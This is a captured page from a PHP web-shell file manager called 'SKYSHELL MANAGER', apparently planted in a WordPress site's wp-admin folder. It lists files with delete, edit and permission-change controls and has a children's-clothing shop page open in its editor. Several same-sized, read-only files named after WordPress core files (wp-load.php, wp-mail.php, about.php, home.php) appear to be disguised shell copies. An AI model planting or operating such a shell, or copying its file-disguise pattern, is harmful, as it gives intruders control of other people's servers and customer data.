📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-ajax.php
5.03 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-advanced.php
28.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tags.php
21.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
2.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load-styles.php
2.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tools.php
3.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets.php
1.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: girl_collections.php
<?php session_start(); if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['order_now'])) { // Handle Order Now action $product_id = htmlspecialchars($_POST['product_id']); $product_pdt_img = htmlspecialchars($_POST['product_pdt_img']); $product_title = htmlspecialchars($_POST['product_title']); $product_price = htmlspecialchars($_POST['product_price']); $product_quantity = htmlspecialchars($_POST['quantity']); // Add to the cart if not already in it if (!isset($_SESSION['cart'])) { $_SESSION['cart'] = []; } if (!isset($_SESSION['cart'][$product_id])) { $_SESSION['cart'][$product_id] = [ 'product_id' => $product_id, 'pdt_img' => $product_pdt_img, 'title' => $product_title, 'price' => $product_price, 'quantity' => $product_quantity, ]; } // Redirect to checkout page header('Location: checkout.php'); exit; } } // Handle "Remove from Cart" action if (isset($_POST['remove_from_cart'])) { $product_id = htmlspecialchars($_POST['product_id']); if (isset($_SESSION['cart'][$product_id])) { unset($_SESSION['cart'][$product_id]); } header("Location: " . $_SERVER['REQUEST_URI']); exit; } // Calculate the total number of items in the cart $cart_count = 0; if (!empty($_SESSION['cart'])) { foreach ($_SESSION['cart'] as $item) { $cart_count += $item['quantity']; } } // Calculate subtotal, shipping, and taxes $subtotal = 0; $shipping = 0.00; // Fixed shipping fee (you can make this dynamic if needed) $taxes = 0.00; // Taxes can be dynamically calculated if you have rates // Calculate the subtotal only if the cart is not empty if (!empty($_SESSION['cart'])) { foreach ($_SESSION['cart'] as $item) { $subtotal += $item['price'] * $item['quantity']; } } // Total = subtotal + shipping + taxes $total = $subtotal + $shipping + $taxes; ?> <!DOCTYPE html> <html dir="ltr" lang="en-US"> <head> <!-- Document Meta ============================================= --> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <!--IE Compatibility Meta--> <meta name="author" content="zytheme" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <meta name="description" content="ToyTown - Responsive HTML5 Template"> <link rel="icon" href="assets/images/fav1.png" sizes="32x32" type="image/png"> <link rel="stylesheet" href="ajax/libs/material-design-icons/3.0.1/iconfont/material-icons.min.css"> <link rel="stylesheet" href="css/tether.min.css"> <script src="javascript/tether.min.js"></script> <!-- Stylesheets ============================================= --> <link href="assets/css/bootstrap.css" rel="stylesheet"> <link href="assets/css/owl.carousel.min.css" rel="stylesheet"> <link href="assets/css/theme.css" rel="stylesheet"> <link href="assets/css/font-awesome.min.css" rel="stylesheet"> <!-- JavaScripts ============================================= --> <script src="assets/js/jquery.js" type="text/javascript"></script> <script src="assets/js/bootstrap.js" type="text/javascript"></script> <script src="assets/js/owl.carousel.js" type="text/javascript"></script> <script src="assets/js/animate.js" type="text/javascript"></script> <script src="assets/js/totalstorage.js" type="text/javascript"></script> <script src="assets/js/counter.js" type="text/javascript"></script> <script src="assets/js/parallax.js" type="text/javascript"></script> <script src="assets/js/bxslider.js" type="text/javascript"></script> <script src="assets/js/ishi.initialize.js" type="text/javascript"></script> <script src="assets/js/support.js" type="text/javascript"></script> <!-- Document Title ============================================= --> <title>Kids Care Products</title> </head> <body id="index"> <main> <div id="menu_wrapper" class=""></div> <!-- --------------------loader------------ --> <div id="spin-wrapper"></div> <div id="siteloader"> <div class="loader"></div> </div> <!-- --------------------header------------ --> <header id="header" class="home"> <div class="header-top"> <div class="container"> <div class="row"> <!-- --------------------desktop_logo------------ --> <div id="desktop_logo" class="col-lg-3 col-md-5 col-sm-12 col-xs-12"> <a href="index.php"> <img class="logo img-responsive" src="assets/images/logo1.png" alt="Demo Shop"> </a> </div> <div class="header-top-right offset-xl-2 col-xl-7 col-lg-9 col-md-7 col-sm-12 col-xs-12"> <!-- --------------------services------------ --> <div id="ishiservices" class="ishiservicesblock"> <div class="ishiservices owl-carousel"> <div class="services item"> <a href="#"> <div class="service-img" style="background-image: url(assets/images/services/1.png);"> </div> <div class="service-block"> <div class="service-title">Free Delivery</div> <div class="service-desc">Free delivery is avaible to standard customers</div> </div> </a> </div> <div class="services item"> <a href="#"> <div class="service-img" style="background-image: url(assets/images/services/2.png);"> </div> <div class="service-block"> <div class="service-title">Free Gift Voucher</div> <div class="service-desc">We send gift vouchers to standard customers</div> </div> </a> </div> <div class="services item"> <a href="#"> <div class="service-img" style="background-image: url(assets/images/services/3.png);"> </div> <div class="service-block"> <div class="service-title">Money Back Guarantee</div> <div class="service-desc">You can request an money Guarantee refund</div> </div> </a> </div> <div class="services item"> <a href="#"> <div class="service-img" style="background-image: url(assets/images/services/4.png);"> </div> <div class="service-block"> <div class="service-title">24X7 Support Assistance</div> <div class="service-desc">We provide 24X7 Support to customers</div> </div> </a> </div> </div> </div> </div> </div> </div> </div> <div class="nav-full-width"> <div class="container"> <div class="row"> <!-- ------------------mega menu----------- --> <div id="_desktop_top_menu" class="menu js-top-menu hidden-sm-down"> <ul class="top-menu" id="top-menu" data-depth="0"> <li class="cms-page" id="category-12"> <a class="dropdown-item" href="index.php" data-depth="0"> Home </a> </li> <li class="cms-page" id="cms-page-4"> <a class="dropdown-item" href="new_arrivals.php" data-depth="0"> New Arrivals </a> </li> <li class="cms-page" id="cms-page-4"> <a class="dropdown-item" href="hot_selling.php" data-depth="0"> Hot Selling </a> </li> <li class="category" id="category-3"> <a class="dropdown-item" href="shop.php" data-depth="0">Shop</a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_37079" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="popover sub-menu collapse" id="top_sub_menu_37079"> <ul class="top-menu" data-depth="1"> <li class="category" id="category-4"> <a class="dropdown-item dropdown-submenu" href="boy_collections.php" data-depth="1"> Boys Collections </a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_40183" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="collapse" id="top_sub_menu_40183"> <ul class="top-menu" data-depth="2"> <li class="category" id="category-5"> <a class="dropdown-item" href="boy_sets.php" data-depth="2"> Boy Sets </a> </li> <li class="category" id="category-6"> <a class="dropdown-item" href="boys_tshirts.php" data-depth="2"> Boy T-Shirts </a> </li> <li class="category" id="category-7"> <a class="dropdown-item" href="boys_shirts.php" data-depth="2"> Boy Shirts </a> </li> <li class="category" id="category-7"> <a class="dropdown-item" href="boys_pack.php" data-depth="2"> Boy Pack Of 2 & 3 </a> </li> <li class="category" id="category-7"> <a class="dropdown-item" href="boys_winter_wear.php" data-depth="2"> Boy Winter Wear </a> </li> </ul> </div> </li> <li class="category" id="category-8"> <a class="dropdown-item dropdown-submenu" href="girl_collections.php" data-depth="1"> Girls Collections </a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_71335" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="collapse" id="top_sub_menu_71335"> <ul class="top-menu" data-depth="2"> <li class="category" id="category-9"> <a class="dropdown-item" href="girl_ethnic_wear.php" data-depth="2"> Girl Ethnic Wear </a> </li> <li class="category" id="category-10"> <a class="dropdown-item" href="girl_sets.php" data-depth="2"> Girl Sets </a> </li> <li class="category" id="category-11"> <a class="dropdown-item" href="girl_dresses.php" data-depth="2"> Girl Dresses </a> </li> <li class="category" id="category-11"> <a class="dropdown-item" href="girl_jumpsuit.php" data-depth="2"> Girl Jumpsuit </a> </li> <li class="category" id="category-11"> <a class="dropdown-item" href="girl_winter_wear.php" data-depth="2"> Girl Winter Wear </a> </li> <li class="category" id="category-11"> <a class="dropdown-item" href="girl_others.php" data-depth="2"> Others </a> </li> </ul> </div> </li> <li class="category" id="category-14"> <a class="dropdown-item dropdown-submenu" href="new_arrivals.php" data-depth="1"> New </a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_17740" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="collapse" id="top_sub_menu_17740"> <ul class="top-menu" data-depth="2"> <li class="category" id="category-15"> <a class="dropdown-item" href="new_arrivals.php" data-depth="2"> New Arrivals </a> </li> </ul> </div> </li> </ul> <img class="category-image" src="assets/images/category-dropdown.jpg" alt="category-image" title="Girl"> </div> </li> <li class="category" id="category-13"> <a class="dropdown-item" href="boy_collections.php" data-depth="#0">Boys</a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_43175" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="popover sub-menu collapse" id="top_sub_menu_43175"> <ul class="top-menu" data-depth="1"> <li class="category" id="category-131"> <a class="dropdown-item dropdown-submenu" href="boy_collections.php" data-depth="1"> Boys Collections </a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_127" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="collapse" id="top_sub_menu_127"> <ul class="top-menu" data-depth="2"> <li class="category" id="category-130"> <a class="dropdown-item" href="boy_sets.php" data-depth="2"> Boys Sets </a> </li> <li class="category" id="category-128"> <a class="dropdown-item" href="boys_tshirts.php" data-depth="2"> Boys T-Shirts </a> </li> <li class="category" id="category-129"> <a class="dropdown-item" href="boys_shirts.php" data-depth="2"> Boys Shirts </a> </li> <li class="category" id="category-129"> <a class="dropdown-item" href="boys_pack.php" data-depth="2"> Boys Pack Of 2 & 3 </a> </li> <li class="category" id="category-129"> <a class="dropdown-item" href="boys_winter_wear.php" data-depth="2"> Boys Winter Wear </a> </li> </ul> </div> </li> </ul> </div> </li> <li class="category" id="category-13"> <a class="dropdown-item" href="girl_collections.php" data-depth="0">Girls</a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_431" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="popover sub-menu collapse" id="top_sub_menu_431"> <ul class="top-menu" data-depth="1"> <li class="category" id="category-131"> <a class="dropdown-item dropdown-submenu" href="girl_collections.php" data-depth="1"> Girls Collections </a> <span class="float-xs-right hidden-lg-up"> <span data-target="#top_sub_menu_1277" data-toggle="collapse" class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> <div class="collapse" id="top_sub_menu_1277"> <ul class="top-menu" data-depth="2"> <li class="category" id="category-130"> <a class="dropdown-item" href="girl_ethnic_wear.php" data-depth="2"> Girls Ethnic Wear </a> </li> <li class="category" id="category-130"> <a class="dropdown-item" href="girl_sets.php" data-depth="2"> Girls Sets </a> </li> <li class="category" id="category-128"> <a class="dropdown-item" href="girl_dresses.php" data-depth="2"> Girls Dresses </a> </li> <li class="category" id="category-129"> <a class="dropdown-item" href="girl_jumpsuit.php" data-depth="2"> Girls Jumpsuit </a> </li> <li class="category" id="category-129"> <a class="dropdown-item" href="girl_winter_wear.php" data-depth="2"> Girls Winter Wear </a> </li> <li class="category" id="category-129"> <a class="dropdown-item" href="girl_others.php" data-depth="2"> Others </a> </li> </ul> </div> </li> </ul> </div> </li> </ul> <div class="clearfix"></div> </div> <!-- -------------------shopping cart----------- --> <div id="_desktop_cart"> <div class="blockcart cart-preview inactive"> <div class="header"> <a href="checkout.php"> <span class="cart-link"> <span class="cart-img"> <svg xmlns="http://www.w3.org/2000/svg" style="display: none;"> <symbol id="shopping-cart" viewBox="0 0 850 850"><title>shopping-cart</title> <path d="M194.59,382.711c-35.646,0-64.646,29-64.646,64.646s29,64.646,64.646,64.646c35.646,0,64.646-29,64.646-64.646 S230.235,382.711,194.59,382.711z M194.59,473.215c-14.261,0-25.858-11.597-25.858-25.858c0-14.261,11.597-25.858,25.858-25.858 c14.254,0,25.858,11.597,25.858,25.858C220.448,461.617,208.851,473.215,194.59,473.215z"></path> <path d="M385.941,382.711c-35.646,0-64.646,29-64.646,64.646s29,64.646,64.646,64.646c35.646,0,64.646-29,64.646-64.646 S421.587,382.711,385.941,382.711z M385.941,473.215c-14.261,0-25.858-11.597-25.858-25.858 c0-14.261,11.597-25.858,25.858-25.858c14.261,0,25.858,11.597,25.858,25.858C411.799,461.617,400.202,473.215,385.941,473.215z"></path> <path d="M498.088,126.274c-3.685-4.629-9.27-7.324-15.179-7.324H143.326l-17.629-89.095c-1.545-7.803-7.699-13.873-15.528-15.308 L32.594,0.325C22.038-1.621,11.953,5.368,10.02,15.905s5.042,20.641,15.58,22.574l64.607,11.843l56.914,287.667 c1.797,9.083,9.768,15.631,19.025,15.631h271.512c9.031,0,16.86-6.225,18.896-15.037l45.252-195.876 C503.137,136.947,501.767,130.896,498.088,126.274z M422.233,314.833H182.074l-31.075-157.089h307.519L422.233,314.833z"></path> </symbol> </svg> <svg class="icon" viewBox="0 0 40 40"><use xlink:href="#shopping-cart" x="15%" y="18%"></use></svg> </span> <span class="cart-content"> <span class="cart-name"> <span class="cart-products-count"><?php echo $cart_count; ?></span> Cart </span> <span class="cart-products-count hidden-lg-up"><?php echo $cart_count; ?></span> </span> </span> </a> <div class="cart-dropdown"> <div class="product-container"> <?php if (empty($_SESSION['cart'])): ?> <h2>Your cart is empty!</h2> <?php else: ?> <h2>Your Cart:</h2> <?php foreach ($_SESSION['cart'] as $id => $item): ?> <div class="product"> <?php echo "<a class='product-image' href='product.php?id=" . htmlspecialchars($item["product_id"]) . "'>"; echo "<img src='" . htmlspecialchars($item['pdt_img']) . "' alt='Product Image'>"; ?> <div class="product-detail"> <div class="product-name"> <span class="quantity-formated"> <span class="quantity"><?php echo htmlspecialchars($item['quantity']); ?></span> x </span> <a class="cart_block_product_name" href="product.php?id=<?php echo htmlspecialchars($item['product_id']); ?>"> <?php echo htmlspecialchars($item['title']); ?> </a> </div> <div class="price">₹ <?php echo htmlspecialchars($item['price']); ?></div> </div> <div class="remove-product"> <form method="POST" action=""> <input type="hidden" name="product_id" value="<?php echo htmlspecialchars($id); ?>"> <button type="submit" name="remove_from_cart"> <i class="material-icons">delete</i> </button> </form> </div> </div> <?php endforeach; ?> <?php endif; ?> </div> <div class="billing-info"> <div class="billing subtotal-info"> <span class="label">Subtotal</span> <span class="value">₹ <?php echo number_format($subtotal, 2); ?></span> </div> <div class="billing shipping-info"> <span class="label">Shipping</span> <span class="value">₹ <?php echo number_format($shipping, 2); ?></span> </div> <div class="billing tax-info"> <span class="label">Taxes</span> <span class="value">₹ <?php echo number_format($taxes, 2); ?></span> </div> <div class="billing total-info"> <span class="label">Total</span> <span class="value">₹ <?php echo number_format($total, 2); ?></span> </div> </div> <div class="cart-btn col-xs-12"> <a href="checkout.php" class="btn btn-primary checkout">Checkout</a> </div> </div> </div> </div> </div> <!-- -------------------headercontact----------- --> <!-- ------------------mobile media--------- --> <div id="menu-icon" class="menu-icon hidden-lg-up"> <i class="fa fa-bars" aria-hidden="true"></i> </div> <div id="_mobile_cart"></div> <div id="_mobile_seach_widget"></div> <div class="clearfix"></div> </div> </div> </div> </header> <!-- -------------------mobile media---------- --> <div id="mobile_top_menu_wrapper" class="hidden-lg-up" style="display:none;"> <div id="top_menu_closer"> <i class="material-icons"></i> </div> <div class="js-top-menu mobile" id="_mobile_top_menu"></div> </div> <!-- --------------------Breadcrumb------------ --> <!-- -----------Category page------------- --> <section id="wrapper" style="padding-top:30px;"> <div class="container"> <div class="row"> <div id="content-wrapper" class="col-12"> <section id="main"> <div class="category-info"> <h1 class="h1">Girls Collections</h1> </div> <section id="products" class="category-product-info"> <div id="js-product-list"> <div class="products row"> <?php // Database connection require 'db_connection.php'; // Fetch the latest 6 posts from the database in descending order of publication date $sql = "SELECT * FROM product WHERE category = 'Girl'"; $result = $conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { echo ' <article class="product-miniature js-product-miniature col-xs-12 col-sm-6 col-md-4 col-lg-4 col-xl-3">'; echo '<div class="product-container product-thumb">'; echo '<div class="image">'; echo "<a href='product.php?id=" . htmlspecialchars($row["id"]) . "'>"; echo "<img src='" . htmlspecialchars($row["pdt_img"]) . "' alt='" . htmlspecialchars($row["title"]) . "'>"; echo "<img class='product-img-extra change'; src='" . htmlspecialchars($row["mdl_img1"]) . "' alt='" . htmlspecialchars($row["title"]) . "'>"; echo '</a>'; echo '<span class="outstock-overlay">IN STOCK</span>'; echo '<div class="product-flags">'; echo '<div class="sale">Sale</div>'; echo '</div>'; echo '</div>'; echo '<div class="product-desc">'; echo '<div class="product-comments"> '; echo '<div class="star_content">'; echo '<div class="star star_on"></div>'; echo '<div class="star star_on"></div>'; echo '<div class="star star_on"></div>'; echo '<div class="star star_on"></div>'; echo '<div class="star star_off"></div>'; echo '</div>'; echo '</div>'; echo '<div class="product-title">'; echo "<a href='product.php?id=" . $row["id"] . "'> " . $row["title"] . "</a>"; echo '</div>'; echo '</div>'; echo '<div class="caption"> '; echo '<p class="price">'; echo '<span class="price-sale">₹ ' . $row["price"] . ' </span>'; echo '<span class="regular price-old">₹ ' . $row["oprice"] . '</span> '; echo '<span class="price-discount">' . $row["offer"] . '% OFF</span> '; echo '</p>'; echo '<div class="btn-cart">'; echo "<a href='product.php?id=" . htmlspecialchars($row["id"]) . "'>"; echo '<i class="fa fa-shopping-cart"></i> '; echo '<span class="lblcart">View product</span>'; echo '</a>'; echo '</div> '; echo '<div class="button-group"> '; echo '<div class="btn-quickview"> '; echo "<a href='product.php?id=" . htmlspecialchars($row["id"]) . "'>"; echo '<svg xmlns="http://www.w3.org/2000/svg" style="display: none;">'; echo '<symbol id="eye-open" viewBox="0 0 1190 1190"><title>eye-open</title><path d="M505.918,236.117c-26.651-43.587-62.485-78.609-107.497-105.065c-45.015-26.457-92.549-39.687-142.608-39.687 c-50.059,0-97.595,13.225-142.61,39.687C68.187,157.508,32.355,192.53,5.708,236.117C1.903,242.778,0,249.345,0,255.818 c0,6.473,1.903,13.04,5.708,19.699c26.647,43.589,62.479,78.614,107.495,105.064c45.015,26.46,92.551,39.68,142.61,39.68 c50.06,0,97.594-13.176,142.608-39.536c45.012-26.361,80.852-61.432,107.497-105.208c3.806-6.659,5.708-13.223,5.708-19.699 C511.626,249.345,509.724,242.778,505.918,236.117z M194.568,158.03c17.034-17.034,37.447-25.554,61.242-25.554 c3.805,0,7.043,1.336,9.709,3.999c2.662,2.664,4,5.901,4,9.707c0,3.809-1.338,7.044-3.994,9.704 c-2.662,2.667-5.902,3.999-9.708,3.999c-16.368,0-30.362,5.808-41.971,17.416c-11.613,11.615-17.416,25.603-17.416,41.971 c0,3.811-1.336,7.044-3.999,9.71c-2.667,2.668-5.901,3.999-9.707,3.999c-3.809,0-7.044-1.334-9.71-3.999 c-2.667-2.666-3.999-5.903-3.999-9.71C169.015,195.482,177.535,175.065,194.568,158.03z M379.867,349.04 c-38.164,23.12-79.514,34.687-124.054,34.687c-44.539,0-85.889-11.56-124.051-34.687s-69.901-54.2-95.215-93.222 c28.931-44.921,65.19-78.518,108.777-100.783c-11.61,19.792-17.417,41.207-17.417,64.236c0,35.216,12.517,65.329,37.544,90.362 s55.151,37.544,90.362,37.544c35.214,0,65.329-12.518,90.362-37.544s37.545-55.146,37.545-90.362 c0-23.029-5.808-44.447-17.419-64.236c43.585,22.265,79.846,55.865,108.776,100.783C449.767,294.84,418.031,325.913,379.867,349.04 z"/></symbol>'; echo '</svg>'; echo '<svg class="icon" viewBox="0 0 30 30"><use xlink:href="#eye-open" x="28%" y="28%"></use></svg>'; echo '<span class="lblcart">Quick View</span>'; echo '</a>'; echo '</div> '; echo '<div class="btn-wishlist">'; echo "<a href='product.php?id=" . htmlspecialchars($row["id"]) . "'>"; echo '<svg xmlns="http://www.w3.org/2000/svg" style="display: none;">'; echo '<symbol id="heart-shape-outline" viewBox="0 0 1400 1400"><title>heart-shape-outline</title><path d="M492.719,166.008c0-73.486-59.573-133.056-133.059-133.056c-47.985,0-89.891,25.484-113.302,63.569c-23.408-38.085-65.332-63.569-113.316-63.569C59.556,32.952,0,92.522,0,166.008c0,40.009,17.729,75.803,45.671,100.178l188.545,188.553c3.22,3.22,7.587,5.029,12.142,5.029c4.555,0,8.922-1.809,12.142-5.029l188.545-188.553C474.988,241.811,492.719,206.017,492.719,166.008z"/></symbol>'; echo '</svg>'; echo '<svg class="icon" viewBox="0 0 30 30"><use xlink:href="#heart-shape-outline" x="32%" y="33%"></use></svg>'; echo '</a>'; echo '</div>'; echo ' </div> '; echo '</div> '; echo '</div>'; echo '</article>'; } } else { echo "0 results"; } // Close the database connection $conn->close(); ?> </div> </div> </section> </section> </div> </div> </div> </section> <!-- -----------------footer-------------------- --> <footer id="footer"> <div class="footer-container"> <div class="container"> <div class="row"> <!-- -------------------storeinfo---------- --> <div id="ishistoreinfo" class="col-lg-3 col-md-12 col-sm-12 col-xs-12"> <div id="ishistoreinfo-container" class="ishistoreinfo-inner"> <a href="index.php" class="store-logo"> <img src="assets/images/logo1.png" alt="footer-logo"> </a> <div class="store-description"> <p>At KidsCare Products, we understand that your child’s safety, comfort, and happiness come first. That’s why we offer a carefully curated range of every item is handpicked to ensure quality, durability, and peace of mind for parents.</p> </div> </div> </div> <div id="_mobile_storeinfo" class="block-contact col-md-12 col-sm-12 col-xs-12 footer-block"></div> <!-- -------------------myaccount---------- --> <div class="col-lg-3 col-md-12 col-sm-12 col-xs-12 links wrapper footer-block"> <h3 class="h3 title_block hidden-md-down">Info</h3> <div class="footer-title clearfix hidden-lg-up collapsed" data-target="#footer_account_list" data-toggle="collapse"> <span class="h3">Info</span> <span class="float-xs-right"> <span class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </span> </div> <ul id="footer_account_list" class="footer-dropdown collapse"> <li> <a class="cms-page-link" href="contact.php"> Contact Us </a> </li> <li> <a class="cms-page-link" href="privacy.php"> Privacy Policy </a> </li> <li> <a class="cms-page-link" href="terms.php"> Terms & Condition </a> </li> <li> <a class="cms-page-link" href="unsubscribe.php"> Unsubscribe Newsletter </a> </li> </ul> </div> <!-- -------------------linklist---------- --> <div class="col-lg-3 col-md-12 col-sm-12 col-xs-12 links wrapper footer-block"> <h3 class="h3 title_block hidden-md-down">Product</h3> <div class="footer-title clearfix hidden-lg-up collapsed" data-target="#footer_sub_menu_83280" data-toggle="collapse"> <span class="h3 title_block">Product</span> <span class="navbar-toggler collapse-icons"> <i class="material-icons add"></i> <i class="material-icons remove"></i> </span> </div> <ul id="footer_sub_menu_83280" class="footer-dropdown collapse"> <li> <a class="cms-page-link" href="new_arrivals.php"> New Arrivals </a> </li> <li> <a class="cms-page-link" href="hot_selling.php"> Hot Selling </a> </li> <li> <a class="cms-page-link" href="shop.php"> Shop </a> </li> <li> <a class="cms-page-link" href="boy_collections.php"> Boy Collections </a> </li> <li> <a class="cms-page-link" href="girl_collections.php"> Girl Collections </a> </li> </ul> </div> <!-- -------------------contactblock ---------- --> <div id="_desktop_storeinfo" class="block-contact col-lg-3 col-md-12 col-sm-12 col-xs-12 footer-block"> <h3 class="h3 title_block hidden-md-down">Store information</h3> <div id="contact-info-container" class="footer-contact"> <div class="block address col-lg-12 col-md-4 col-sm-4 col-xs-12"> <span class="icon"><i class="material-icons"></i></span> <div class="content">No 23, KEB Colony,<br> Industrial Area, Hoodi,<br> Bengaluru, Karnataka 560048.</div> </div> <div class="block email col-lg-12 col-md-4 col-sm-4 col-xs-12"> <span class="icon"><i class="material-icons"></i></span> <div class="content"> <a href="#">contact@kidscareproducts.com</a> </div> </div> </div> </div> </div> </div> </div> <div class="footer-after"> <div class="container"> <div class="row"> <div class="col-lg-6 col-xs-12"> <!-- -------------------copyrights---------- --> <p class="footer-aftertext"> <a class="_blank" href="#" target="_blank"> Copyright 2025 KidsCare Products. All Rights Reserved. </a> </p> </div> </div> </div> </div> <a id="slidetop" href="#" ></a> </footer> </main> </body> <!-- Mirrored from demo.ishithemes.com/html/toytown/Layout001/categorypage_fullwidth.php by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 15 Nov 2024 07:11:13 GMT --> </html> <script type="text/javascript"> $(document).ready(function(){ var currentLayout = $.totalStorage('productLayout'); if(currentLayout && currentLayout == 'listView') { $('#grid-view').removeClass('checked'); setProductLayout('listView'); } else { setProductLayout('gridView'); } $(document).on('click', '#list-view', function(e){ if($(this).hasClass('checked')) return; $('#js-product-list').fadeOut(500,function() { setProductLayout('listView'); }); $('#js-product-list').fadeIn(500); }); $(document).on('click', '#grid-view', function(e){ if($(this).hasClass('checked')) return; $('#js-product-list').fadeOut(500,function() { setProductLayout('gridView'); }); $('#js-product-list').fadeIn(500); }); function setProductLayout(layout) { if(layout == 'listView') { $('#list-view').addClass('checked'); $('#grid-view').removeClass('checked'); $('#js-product-list .products').removeClass('grid'); $('#js-product-list .products').addClass('list'); $('#js-product-list .products article').each(function() { $(this).removeClass(' col-sm-6 col-md-4 col-lg-4 col-xl-3'); $(this).find('.image').addClass('col-xs-12 col-sm-6 col-md-5 col-lg-4 col-xl-3'); $(this).find('.caption').addClass('col-xs-12 col-sm-6 col-md-7 col-lg-8 col-xl-9'); }); $.totalStorage('productLayout','listView'); } else { $('#grid-view').addClass('checked'); $('#list-view').removeClass('checked'); $('#js-product-list .products').removeClass('list'); $('#js-product-list .products').addClass('grid'); $('#js-product-list .products article').each(function() { $(this).addClass(' col-sm-6 col-md-4 col-lg-4 col-xl-3'); $(this).find('.image').removeClass('col-xs-12 col-sm-6 col-md-5 col-lg-4 col-xl-3'); $(this).find('.caption').removeClass('col-xs-12 col-sm-6 col-md-7 col-lg-8 col-xl-9'); }); $.totalStorage('productLayout','gridView'); } } }); </script>
Save